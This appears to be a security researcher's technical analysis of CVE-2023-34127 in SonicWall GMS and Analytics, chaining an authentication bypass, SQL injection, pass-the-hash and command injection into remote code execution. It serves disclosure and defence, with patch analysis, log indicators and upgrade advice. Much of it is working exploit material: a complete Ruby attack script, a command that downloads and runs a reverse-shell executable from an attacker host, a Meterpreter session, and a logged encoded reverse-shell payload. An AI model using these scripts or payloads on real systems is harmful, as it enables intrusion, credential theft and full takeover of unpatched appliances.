Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2023-34127

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) vulnerability in SonicWall GMS, SonicWall Analytics enables an authenticated attacker to execute arbitrary code with root privileges. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.

Add Assessment

2
Ratings
Technical Analysis

This was released in an advisory with 15 different vulnerabilities! I chained together 4 of them (or 5, depending on how you count) to get RCE. Weaponizing was tricky due to aggressive filters, but we figured out how to execute any arbitrary command with encoding on both Windows and Linux.

General Information

Vendors

  • SonicWall

Products

  • GMS,
  • Analytics

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On July 12, 2023, SonicWall released an advisory containing 15 different vulnerabilities in SonicWall Global Management System (GMS) and Analytics. By using a conjunction of the vulnerabilities released in their advisory, we determined that unauthenticated remote code execution is possible. We decided to post this under CVE-2023-34127—a post-authentication command-injection vulnerability—since that was the final issue we used in our chain to obtain remote code execution.

The full list of CVEs covered by this advisory are:

  • CVE-2023-34123 Predictable Password Reset Key
  • CVE-2023-34124 Web Service Authentication Bypass
  • CVE-2023-34125 Post-Authenticated Arbitrary File Read via Backup File Directory Traversal
  • CVE-2023-34126 Post-Authenticated Arbitrary File Upload
  • CVE-2023-34127 Post-Authenticated Command Injection
  • CVE-2023-34128 Hard-coded Tomcat Credentials (Privilege Escalation)
  • CVE-2023-34129 Post-Authenticated Arbitrary File Write via Web Service (Zip Slip)
  • CVE-2023-34130 Use of Outdated Cryptographic Algorithm with Hard-coded Key
  • CVE-2023-34131  Unauthenticated Sensitive Information Leak
  • CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
  • CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
  • CVE-2023-34134 Password Hash Read via Web Service
  • CVE-2023-34135 Post Authenticated Arbitrary File Read via Web Service
  • CVE-2023-34136 Unauthenticated File Upload
  • CVE-2023-34137 CAS Authentication Bypass

Affected products include:

  • SonicWall GMS 9.3.2-SP1 and before
  • SonicWall Analytics 2.5.0.4-R7 and before

As indicated in our blog, we strongly recommend upgrading this software if it’s present on your network.

Technical analysis

We analyzed SonicWall GMS for Windows, versions 9.3.9320 and 9.3.9330, and confirmed our findings on the Linux version afterwards. We did our best to map the CVEs to code changes based on descriptions, but because all the changes came in a single patch, it’s hard to tell for sure which change corresponds to which CVE.

Patch analysis

After installing the application, we copied the application directories to a Linux host for analysis. We grabbed all the .jar files (other than the Java Runtime Engine itself) and decompiled them with CFR using the following commands:

ron@ronlab ~/GMSVP-9.3.9320 $ mkdir ../jars-9.3.9320

ron@ronlab ~/GMSVP-9.3.9320 $ find . -name '*.jar' -not -path './jre' -exec cp -v "{}" ../jars-9.3.9320/ \;
'./jre/lib/security/policy/unlimited/local_policy.jar' -> '../jars-9.3.9320/local_policy.jar'
'./jre/lib/security/policy/unlimited/US_export_policy.jar' -> '../jars-9.3.9320/US_export_policy.jar'
'./jre/lib/security/policy/limited/local_policy.jar' -> '../jars-9.3.9320/local_policy.jar'
'./jre/lib/security/policy/limited/US_export_policy.jar' -> '../jars-9.3.9320/US_export_policy.jar'
[...]

ron@ronlab ~/GMSVP-9.3.9320 $ cd ../jars-9.3.9320

ron@ronlab ~/jars-9.3.9320 $ mkdir decompiled-9.3.9320/

ron@ronlab ~/jars-9.3.9320 $ java -Xmx6g -jar ../cfr-0.152.jar *.jar --outputdir sonicwall-gms-9.3.9320/
Processing AdventNetLogging.jar (use silent to silence)
Processing com.adventnet.afp.log.LogLevel
Processing com.adventnet.afp.log.LogException
Processing com.adventnet.afp.log.ConsoleLog
Processing com.adventnet.afp.log.FileUtil
[...]

Once the decompilation finished, we used the command line diff tool to find changes across the entire codebase:

ron@ronlab ~ $ diff -rub sonicwall-gms-9.3.9320 sonicwall-gms-9.3.9330 | tee changes.diff 
diff '--color=auto' -rub sonicwall-gms-9.3.9320/com/microsoft/sqlserver/jdbc/AppDTVImpl.java sonicwall-gms-9.3.9330/com/microsoft/sqlserver/jdbc/AppDTVImpl.java
--- sonicwall-gms-9.3.9320/com/microsoft/sqlserver/jdbc/AppDTVImpl.java	2023-08-02 10:49:59.000000000 -0700
+++ sonicwall-gms-9.3.9330/com/microsoft/sqlserver/jdbc/AppDTVImpl.java	2023-08-02 10:49:52.000000000 -0700
@@ -3,6 +3,7 @@
  */
 package com.microsoft.sqlserver.jdbc;
 
+import com.microsoft.sqlserver.jdbc.CryptoMetadata;
 import com.microsoft.sqlserver.jdbc.DDC;
 import com.microsoft.sqlserver.jdbc.DTV;
 import com.microsoft.sqlserver.jdbc.DTVExecuteOp;
[...]

This wound up being about 26,000 lines of changes! Many of the changes aren’t relevant to security—for example, they changed a lot of hard-coded strings to constants. We manually searched the diff output for anything that looked like the issues listed in the advisory, and identified a number of likely mappings. Of the 15 vulnerabilities patched in the advisory, we determined that the following, in concert, could lead to remote code execution:

  • CVE-2023-34124 Web Service Authentication Bypass
  • CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass
  • CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash
  • CVE-2023-34127 Post-Authenticated Command Injection

(As noted above, we can’t say with 100% confidence that we mapped the correct code changes to the correct CVE, but we believe the mappings are defensible).

In addition to the patched vulnerabilities, we also exploited one additional unpatched issue to obtain remote code execution specifically on Windows—a failure to return after an error condition.

CVE-2023-34124 Web Service Authentication Bypass

The patch issued by SonicWall fixed at least three authentication bypass issues in the web services (/ws) application, but they are all very similar to the following code, which is found in com.sonicwall.ws.servlet.auth.MSWAuthenticator:

package com.sonicwall.ws.servlet.auth;

import com.sonicwall.sgms.util.Base64;

public class MSWAuthenticator {
    public static final String TENANT_API_AUTH_PRIVATE_KEY = "?~!@#$%^^()";
    public static final String MSW_USER = "MSWUser";
    public static final String SYSTEM_USER = "system";

    // [... unused variables removed for brevity ...]

    private MSWAuthenticator() {
    }

    public static boolean authenticate(String user2, String domainName, String hash) {
        boolean authenticated = false;
        try {
            String computedHash;
            if (HelperMethods.stringsHaveLength(user2, hash) && (user2.equals(MSW_USER) || user2.equals(SYSTEM_USER)) && (computedHash = MSWAuthenticator.getAuthKey(domainName, TENANT_API_AUTH_PRIVATE_KEY)) != null) {
                authenticated = computedHash.equalsIgnoreCase(hash);
            }
        }
        // [... error handling removed for brevity ...]
        return authenticated;
    }

    public static String getAuthKey(String domainName, String privateKey) throws UnsupportedEncodingException, NoSuchAlgorithmException, InvalidKeyException {
        String authKey = "";
        SecretKeySpec key = new SecretKeySpec(privateKey.getBytes("UTF-8"), "HmacSHA1");
        Mac mac = Mac.getInstance("HmacSHA1");
        mac.init(key);
        byte[] bytes = mac.doFinal(domainName.getBytes("UTF-8"));
        authKey = new String(Base64.encode(bytes)).trim();
        return authKey;
    }
}

That code calculates an authentication token in the getAuthKey function, using the HMAC-SHA1 algorithm. The HMAC-SHA1 secret key is hard-coded (?~!@#$%^^()) and the data is the domainName argument. That code is called from the get function in the class com.sonicwall.ws.resource.hosted.Tenant:

package com.sonicwall.ws.resource.hosted;

// [... imports ...]

@Path(value="/msw/tenant/{tenantid}")
public class Tenant {

    // [ ... ]
    
    @GET
    @Produces(value={"application/json", "text/html"})
    public Response get(@PathParam(value="tenantid") String tenantId, @Context HttpServletRequest request) {
        // [ ... ]
        
        String authParam = request.getHeader("auth");
        if (authParam == null || authParam.isEmpty()) {
            parameters.put("error", "-21012: AUTH parameter is not available.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }

        // [ ... ]

        String user2 = (String)paramMap.get("user");
        String hash = (String)paramMap.get("hash");
        if (user2 == null || user2.isEmpty() || hash == null || hash.isEmpty()) {
            parameters.put("error", "-21008: User and or hash is not available.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }

        // Here's the important call to authenticate()
        if (!MSWAuthenticator.authenticate(user2, tenantId, hash)) {
            parameters.put("error", "-21009: Authentication failed due to invalid parameters.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }
        DomainManager dm = DomainManager.getInstance();

        // We'll come to this call later :)
        DomainInfo di = dm.getDomainInfoByTenantSerial(tenantId);
        if (null == di) {
            parameters.put("error", "-21001: Tenant ID is not valid.");
            return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
        }

        // [ ... ]
    }

From that code, we can see that the authenticate() function (from earlier) is called with the user2, tenantId, and hash variables, all of which we control via either the URL or POST arguments. The secret used to validate a permitted request is hash, which we can calculate using tenantId and the hard-coded secret key (setting the tenantId argument to hello here as a demonstration):

ron@ronlab ~ $ gem install ruby-hmac
Successfully installed ruby-hmac-0.4.0
Parsing documentation for ruby-hmac-0.4.0
Done installing documentation for ruby-hmac after 0 seconds
1 gem installed

ron@ronlab ~ $ irb
3.0.2 :001 > require 'hmac-sha1'
 => true 
3.0.2 :002 > require 'base64'
 => true 
3.0.2 :003 > c = HMAC::SHA1::new('?~!@#$%^^()')
 => 
#<HMAC::SHA1:0x00000000027c3768                                                                             
...                                                                                                         
3.0.2 :004 > c.update('hello')
 => #<Digest::SHA1: e948b2f1c5cd4e67a6fea8d5ab1533323f7e6f24> 
3.0.2 :005 > puts Base64::strict_encode64(c.digest())
6Uiy8cXNTmem/qjVqxUzMj9+byQ=

If we try to access the endpoint without that token, we get an authentication error:

ron@ronlab ~ $ curl -ik -H 'Auth: {"user": "system", "hash": "testtest"}' 'https://10.0.0.79/ws/msw/tenant/hello'
[ ... ]

{"error":"-21009: Authentication failed due to invalid parameters."}

But if we set the token we calculated, we get a new error message:

ron@ronlab ~ $ curl -ik -H 'Auth: {"user": "system", "hash": "6Uiy8cXNTmem/qjVqxUzMj9+byQ="}' 'https://10.0.0.79/ws/msw/tenant/hello'
[ ... ]

{"error":"-21001: Tenant ID is not valid."}

The hard-coded HMAC secret gives us access to the /ws/msw/tenant/{tenantId} endpoint! But what can we use that for?

CVE-2023-34133 Multiple Unauthenticated SQL Injection Issues & Security Filter Bypass

In the code block above, we teased this function call a bit:

    DomainInfo di = dm.getDomainInfoByTenantSerial(tenantId);
    if (null == di) {
        parameters.put("error", "-21001: Tenant ID is not valid.");
        return Response.status(Response.Status.OK).entity(parameters).type("application/json").build();
    }

That function is in the class com.sonicwall.sgms.manager.DomainManager. Now that we can access that function call, let’s have a look at it:

    public DomainInfo getDomainInfoByTenantSerial(String tenantSerial) {
        StringBuffer query = new StringBuffer("SELECT * FROM ").append(DOMAINS_TABLE_NAME).append(" WHERE ").append("TENANT_SERIAL").append(" = ");
        query.append("'").append(tenantSerial).append("'");
        List<DomainInfo> domainInfoList = this.getDomains(query.toString());
        if (domainInfoList != null && domainInfoList.size() == 1) {
            return domainInfoList.get(0);
        }
        return null;
    }

You might think that looks suspiciously SQL-injectable, and you’d be right! This is actually authenticated SQL injection, and the CVE lists multiple unauthenticated SQL injection vulnerabilities; however, as this was the first one we found, and it’s not blind, we opted to use this as part of our attack chain. SonicWall’s patch actually changes a massive number of SQL queries from ad-hoc escaping to parameterized queries, which is great from a security perspective, but it makes it much harder to figure out precisely which ones are actually vulnerabilities.

The vulnerable tenantSerial argument to that function once again comes from the tenantId variable in the get() function, and originates from the URL itself. It’s the same value that’s used to generate the authentication token, which means the SQL injection payload is effectively “signed” using a hard-coded key. Consequently, we have to be somewhat careful with the order in which we sign and URI-encode the value.

We ended up using a union select clause to read data from the database; to demonstrate, we put together this short Ruby script (note that this requires the httparty and ruby-hmac gems to be installed):

require 'httparty'
require 'hmac-sha1'
require 'json'

if ARGV[1].nil?
  $stderr.puts "Usage: #{$0} <target> <SQL>"
  exit 1
end

SECRET_KEY = '?~!@#$%^^()'
USER = 'system'

TARGET = ARGV[0]
SQL = ARGV[1]

QUERY = "abc' union select (select ID from SGMSDB.DOMAINS limit 1), '1', '2', '3', '4', '5', #{SQL}, '7', '8', '9"

c = HMAC::SHA1::new(SECRET_KEY)
c.update(QUERY)
TOKEN = Base64::strict_encode64(c.digest())

response = HTTParty.get(
  "https://#{TARGET}/ws/msw/tenant/#{QUERY.gsub(/ /, '%20').gsub(/;/, '%3b').gsub(/\\/, '%5c')}",
  verify: false,
  headers: {
    'Auth' => '{"user": "system", "hash": "' + TOKEN + '"}',
  }
)

if response.parsed_response['alias']
  puts "Result: #{response.parsed_response['alias']}"
else
  puts "Something went wrong:"
  pp response
end

We can use this to perform simple queries, such as getting the current MySQL user:

ron@ronlab ~/pocs $ ruby ./cve-2023-34133-sqli-plus-bypass.rb 10.0.0.79 "current_user()"
Result: gmsuser@localhost

Or more complex queries, such as fetching the administrator’s password hash:

ron@ronlab ~/pocs $ ruby ./cve-2023-34133-sqli-plus-bypass.rb 10.0.0.79 "(select concat(id, ':', password) from sgmsdb.users where id = 'admin')"
admin:5f4dcc3b5aa765d61d8327deb882cf99

If you work with hash functions a lot, you might recognize the hash 5f4dcc3b5aa765d61d8327deb882cf99 as the MD5 of password:

ron@ronlab ~/pocs $ echo -ne 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99  -

Cracking an MD5 password is often very easy, but it’d be nice if there was a way to use that password without having to crack it.

Which brings us to…

CVE-2023-34132 Client-Side Hashing Function Allows Pass-the-Hash

The concept of “pass the hash” almost always refers to the NTLM protocol, which is an authentication protocol used by Windows. While Windows has always been vulnerable to pass-the-hash attacks, it’s something that Microsoft seems to have largely just accepted. Other projects—like SonicWall—fix pass-the-hash vulnerabilities.

Typically, if a user steals password hashes from an application through, say, SQL injection, those hashes are supposed to be of limited utility. In order to authenticate, you need to crack the password, which requires time and resources to complete (and may be effectively impossible, if the password and hashing function are strong). In a “pass the hash” attack, however, the user can authenticate using the hash directly, meaning that knowing the hash is effectively equivalent to knowing the password.

SonicWall GMS has several different login pages that correspond to different core applications, but we’re interested in /appliance, whose login page is at /appliance/login. The part of the appliance login that deals with the password is found in this JavaScript code on the login page:

    if (isUserID(document.LOGIN.applianceUser)) {
        
        if(!isValidPasswordLength(document.LOGIN.appliancePassword, enforcePwdSecurity == "1"))
            document.LOGIN.needPwdChange.value = "3";
        else if(!isValidPasswordChars(document.LOGIN.appliancePassword, enforcePwdSecurity == "1"))
            document.LOGIN.needPwdChange.value = "4";
        else if (enforcePwdSecurity == "1" && isUserIDPasswordSame(document.LOGIN.applianceUser, document.LOGIN.appliancePassword))
            document.LOGIN.needPwdChange.value = "5";

        document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'65813684801430099472240733556614');

        document.LOGIN.password.value = calcMD5(document.LOGIN.appliancePassword.value);
        document.LOGIN.appliancePassword.value = "Nice Try";

        return true;
    }

Interestingly, the numeric string in clientHash.value (6581...) changes on each refresh, which means it’s generated on the server (this is almost certainly an anti-replay value; by mixing a random value controlled by the server into the hash, it prevents the same hash from being reused in the future):

ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = '
document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'53618346255945438790342774591973');
				
ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = '
document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'55171110185279566090965334134332');
				
ron@ronlab ~ $ curl -sk https://10.0.0.79/appliance/login | grep 'clientHash.value = '
document.LOGIN.clientHash.value = getPwdHash(document.LOGIN.appliancePassword.value,'58356895572134527994028140510813');

The password and random number re passed into the getPwdHash() function as the arguments strPassPhrase and randonNumber1 (sic):

/***************************************************************
** getPwdHash()
***************************************************************/
function getPwdHash(strPassPhrase, randonNumber1)
{
	var strInternalPageHash = new String();
    var strInternalPageSeedHash = new String();
    if (strPassPhrase.length > 0) {
		strPassPhrase =  calcMD5(strPassPhrase);
		strInternalPageHash = calcMD5(randonNumber1 + strPassPhrase);
	}
    return strInternalPageHash;     
}

The strInternalPageHash is effectively MD5(randonNumber1 + MD5(strPassPhrase)). Since we can pull MD5(strPassPhrase) from the database using SQL injection, we can use some algebra to insert it into the JavaScript function!

Using the browser’s JavaScript console, we can call getPwdHash on the login page using a representative randonNumber:

> getPwdHash("password", "01632875528513276785331676028538")
"fcda79e813fd113f0f4c0672e62e54e3" 

We can calculate that same value using the password hash we grabbed in the SQL injection exploit above (the quotation marks are ignored, but are inserted for visibility):

ron@ronlab ~ $ echo -ne '01632875528513276785331676028538''5f4dcc3b5aa765d61d8327deb882cf99' | md5sum
fcda79e813fd113f0f4c0672e62e54e3  -

That means we can authenticate using only the hash we stole, giving us access to the /appliance endpoint as the admin user. Which brings us to the final vulnerability in the chain…

CVE-2023-34127 Post-Authenticated Command Injection

The diff led us to the following code, removed from com.sonicwall.appliance.manager.FileSystemManager:

    private class FileSearchThread implements Runnable {
        Thread statusThread = null;
        boolean continueToRun = true;
        private HttpSession session = null;
        private String searchFolder = null;
        private String searchFilter = null;

        public FileSearchThread(String searchFolder, HttpSession session, String searchFilter) {
            this.searchFilter = searchFilter; // <-- User controlled
            this.searchFolder = searchFolder; // <-- User controlled
            this.session = session;
        }

        // [ ... ]
        
        @Override
        public void run() {

            // [ ... ]
            String regex = "";
            String searchCriteria = this.searchFilter;
            if (searchCriteria.equals("*.*")) {
                searchCriteria = "*";
            }
            regex = regex + this.searchFolder + searchCriteria; // Both parts are user-controlled
            regex = ApplianceUtil.isWindows() ? regex + "," : regex + " ";
            String[] cmds = null;
            if (ApplianceUtil.isWindows()) {
                cmds = new String[]{"cmd /c dir /B /a:-d /O:N " + regex}; // User-controlled command (on Windows)
                LogUtil.debugOut((Object)("FileSearchThread: Command to get file list for: " + this.searchFolder + ": " + cmds), 3);
            } else {
                fileRAF = new File(ApplianceUtil.FILEPATH_TOMCAT_TEMP + "fileList_" + this.session.getId() + ".sh");
                RandomAccessFile raf = new RandomAccessFile(fileRAF, "rw");
                raf.write("#!/bin/sh\n".getBytes());
                String command = "ls " + regex + " | grep -v ^d | sort -f "; // User-controlled command (on Linux)
                LogUtil.debugOut((Object)("FileSearchThread: Command to get file list for: " + this.searchFolder + ": " + command), 3);
                raf.write((command + "\n").getBytes());
                raf.close();
                proc.exec("chmod 755 " + fileRAF.getCanonicalPath());
                cmds = new String[]{fileRAF.getCanonicalPath()};
            }
            long[] timeouts = new long[]{7200L};
            String[] outputFiles = new String[]{ApplianceUtil.FILEPATH_TOMCAT_TEMP + File.separator + "fileSearch_" + this.session.getId()};
            proc.exec(cmds, timeouts, outputFiles); // Execute the command
            proc.join();

            // [ ... ]
        }
    }

That code inserts user-controlled data directly into shell commands on both Windows and Linux platforms, which is a shell-command injection vulnerability. If we trace backwards, the FileSearchThread is called by:

  • searchFiles() in the class com.sonicwall.appliance.manager.FileSystemManager, which is called by…
  • performSearch() in the class com.sonicwall.appliance.servlets.FileSystemAction, which is called by…
  • perform() in the same class, which is called by…
  • doPost() in the class com.sonicwall.appliance.servlets.ApplianceMainPage

The doPost() function is accessible as a web application. It’s technically post-authentication, but using the SQL injection and pass-the-hash vulnerabilities above, we can bypass that. Here’s what the shell injection looks like (without the other vulnerabilities, for now):

HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    num: rand(0..999999),
    action: 'file_system',
    task: 'search',
    item: 'application_log',
    criteria: '*',
    width: '500',
    searchFolder: 'C:\\GMSVP\\etc\\',
    searchFilter: "appliance.jar|#{COMMAND} ", # The space is required after the command!
  },
)

Putting it All Together

We combined all of these exploits into a single script that we called sonicboom. The all-in-one script is called cve-2023-34127-shell-injection.rb, and looks like this:

require 'httparty'
require 'hmac-sha1'
require 'json'
require 'digest'

if ARGV[1].nil?
  $stderr.puts "Usage: #{$0} <target> <command>"
  exit 1
end

TARGET = ARGV[0]
COMMAND = ARGV[1]

SECRET_KEY = '?~!@#$%^^()'

QUERY = "abc' union select (select ID from SGMSDB.DOMAINS limit 1), '1', '2', '3', '4', '5', (select concat(id, ':', password) from sgmsdb.users where id = 'admin' limit 1 offset 0), '7', '8', '9"


puts "** CVE-2023-34124: Generating a token to access /ws/msw/tenant..."
c = HMAC::SHA1::new(SECRET_KEY)
c.update(QUERY)
TOKEN = Base64::strict_encode64(c.digest())
$stderr.puts "Token: #{TOKEN}"

puts
puts "** CVE-2023-34133: Using SQL injection to grab the admin hash..."
response = HTTParty.get(
  "https://#{TARGET}/ws/msw/tenant/#{QUERY.gsub(/ /, '%20').gsub(/;/, '%3b').gsub(/\\/, '%5c')}",
  verify: false,
  headers: {
    'Auth' => '{"user": "system", "hash": "' + TOKEN + '"}',
  }
)

if response.parsed_response['alias'].nil? # TODO if parsed_response isn't a hash this will fail
  puts "Something went wrong:"
  pp response
  exit 1
end

username, hash = response.parsed_response['alias'].split(/:/)

puts "username = #{username}"
puts "password hash = #{hash}"

puts
puts "** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash"
response = HTTParty.get(
  "https://#{TARGET}/appliance/login",
  verify: false,
)

cookie_hash = HTTParty::CookieHash.new
response.get_fields('Set-Cookie').each { |c| cookie_hash.add_cookies(c) }

response.parsed_response =~ /value = getPwdHash.*'([0-9a-zA-Z]+)'/
randon_number1 = $1
client_hash = Digest::MD5.hexdigest(randon_number1 + hash)

puts "randonNumber1: #{randon_number1}"
puts "clientHash: #{client_hash}"
puts

puts "** Using the hash to authenticate..."
response = HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    action: 'login',
    skipSessionCheck: '0',
    needPwdChange: '0',
    clientHash: client_hash,
    password: hash,
    applianceUser: username,
    appliancePassword: 'Nice Try',
    ctlTimezoneOffset: '0',
  },
)
cookie_hash = HTTParty::CookieHash.new
response.get_fields('Set-Cookie').each { |c| cookie_hash.add_cookies(c) }
puts "Obtained a cookie for admin (probably): #{response.get_fields('Set-Cookie')}"

puts
puts "** CVE-2023-34127: Attempting shell injection (Windows)..."

# This should work on Windows:
HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    num: rand(0..999999),
    action: 'file_system',
    task: 'search',
    item: 'application_log',
    criteria: '*',
    width: '500',
    searchFolder: 'C:\\GMSVP\\etc\\',
    searchFilter: "appliance.jar|#{COMMAND} ", # The space is required here!
  },
)

# This should work on Linux:
puts "** CVE-2023-34127: Attempting shell injection (Linux)..."
HTTParty.post(
  "https://#{TARGET}/appliance/applianceMainPage",
  verify: false,
  headers: {
    cookie: cookie_hash.to_cookie_string
  },
  body: {
    num: rand(0..999999),
    action: 'file_system',
    task: 'search',
    item: 'application_log',
    criteria: '*',
    width: '500',
    searchFolder: '/opt/GMSVP/etc/',
    searchFilter: "appliance.jar|#{COMMAND} ", # The space is required here!
  },
)

The script attempts to run the command on both Linux and Windows, but only one will work since the application validates the searchFolder argument.

Note that this is blind shell injection, so you won’t see the output. We did, however, use this script to upload a Meterpreter executable to our target:

ron@ronlab ~/pocs [main] $ ruby ./cve-2023-34127-shell-injection.rb 10.0.0.79 'curl -o c:\users\administrator\desktop\test.exe http://10.0.0.227:8081/reverse_shell.exe'
** CVE-2023-34124: Generating a token to access /ws/msw/tenant...
Token: dgYvNOApDtJ4qwImZ9kjv8lwqHg=

** CVE-2023-34133: Using SQL injection to grab the admin hash...
username = admin
password hash = 5f4dcc3b5aa765d61d8327deb882cf99

** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash
randonNumber1: 53450773571430543092701367773482
clientHash: 5c98b33d8f9fafb49ff398a0e3697412

** Using the hash to authenticate...
Obtained a cookie for admin (probably): ["JSESSIONID=B1E9D731EBC9477467041F89ED4735A9; Path=/appliance; Secure; HttpOnly; SameSite=Strict"]

** CVE-2023-34127: Attempting shell injection (Windows)...
** CVE-2023-34127: Attempting shell injection (Linux)...

Then execute it:

ron@ronlab ~/shared/analysis/sonicwall/pocs [main] $ ruby ./cve-2023-34127-shell-injection.rb 10.0.0.79 'c:\users\administrator\desktop\test.exe'
** CVE-2023-34124: Generating a token to access /ws/msw/tenant...
Token: dgYvNOApDtJ4qwImZ9kjv8lwqHg=

** CVE-2023-34133: Using SQL injection to grab the admin hash...
username = admin
password hash = 5f4dcc3b5aa765d61d8327deb882cf99

** CVE-2023-34132: Grabbing the randonNumber1 value from the login form so we can pass-the-hash
randonNumber1: 55285280221030697871540002607346
clientHash: ae94fb6b904469a184da92c85ec33d35

** Using the hash to authenticate...
Obtained a cookie for admin (probably): ["JSESSIONID=9A8FCDA50DB3A7FFFB6E9789C41E4253; Path=/appliance; Secure; HttpOnly; SameSite=Strict"]

** CVE-2023-34127: Attempting shell injection (Windows)...

Which gets us a Meterpreter session:

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.227
LHOST => 10.0.0.227
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.227:4444 
[*] Sending stage (175686 bytes) to 10.0.0.79
[*] Meterpreter session 1 opened (10.0.0.227:4444 -> 10.0.0.79:51880) at 2023-08-04 14:15:28 -0700

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

We also created a Metasploit module based on that proof of concept.

A Note on Windows

Way at the top, we made a remark that we took advantage of one unpatched issue on Windows:

In addition to the patched vulnerabilities, we also exploited one additional unpatched issue to obtain remote code execution specifically on Windows—a failure to return after an error condition.

The perform() function in com.sonicwall.appliance.servlets.FileSystemAction has the following code at the top:

    if (ApplianceUtil.isWindows()) {
        LogUtil.logError(null, "This operation is not supported on Windows platform.", "perform", "FileSystemAction");
        request.setAttribute("messagetype", 300);
        request.setAttribute("message", "Operation not supported.");
        ApplianceMainPage.forwardToPage(request, response, "/ActionFailure.jsp");
    }

When we run our proof of concept against a Windows target, we actually see that error message and get redirected. But… it doesn’t actually terminate the script! That means that the vulnerable code still executes, you just don’t see the output because the redirect is already sent to the browser!

IOCs

The techniques we used to write our exploits are very noisy, and SonicWall has decent log files. Logs are available on the filesystem, or on the appliance page under the “diagnostics” menu:

  • https://(host)/appliance/applianceMainPage

While most of the issues we discussed above will show up in those logs, we are reasonably sure there are multiple ways to get a valid session token using the set of vulnerabilities disclosed by SonicWall (in particular, there are multiple authentication bypass and SQL injection issues).

However, the most likely path to exploitation is to use the shell command injection issue, which appears in the appliance logs (DbgAppliance0.log and other numbers). Searching that log for FileSearchThread will find requests to the vulnerable endpoint. For reference, our Metasploit module creates an entry similar to this:

[Fri Aug 18 21:19:04 UTC 2023 Thread-15800:19288] FileSearchThread: Command to get file list for: /opt/GMSVP/etc/: ls /opt/GMSVP/etc/appliance.jar;bash -c PLUS\=\$\(echo\ -e\ begin-base64\ 755\ a\\\\nKwee
\\\\n\=\=\=\=\ \|\ uudecode\ -o-\)\;echo\ -e\ begin-base64\ 755\ /tmp/.ptdaleif\\\\nf0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAA
QAAAAAAA\$\{PLUS\}gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoAAONRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8
FXmp\$\{PLUS\}Wg8FSIXAeO3/5g\=\=\\\\n\=\=\=\=\ \|\ uudecode\ \;\ coproc\ /tmp/.ptdaleif\ \;\ rm\ /tmp/.ptdaleif;echo   | grep -v ^d | sort -f 

Any unusual activity in FileSearchThread should be carefully examined, as that’s where the command execution will occur.

An attacker may use other techniques to execute arbitrary code, such as a path traversal issue; those likely appear in other log files, but we haven’t replicated that attack.

Because users get privileged access to the targets, they may also redact or delete the logs.

Guidance

We recommend that organizations who are running SonicWall GMS or Analytics update as soon as possible, as we have demonstrated that these vulnerabilities can lead to remote code execution.

References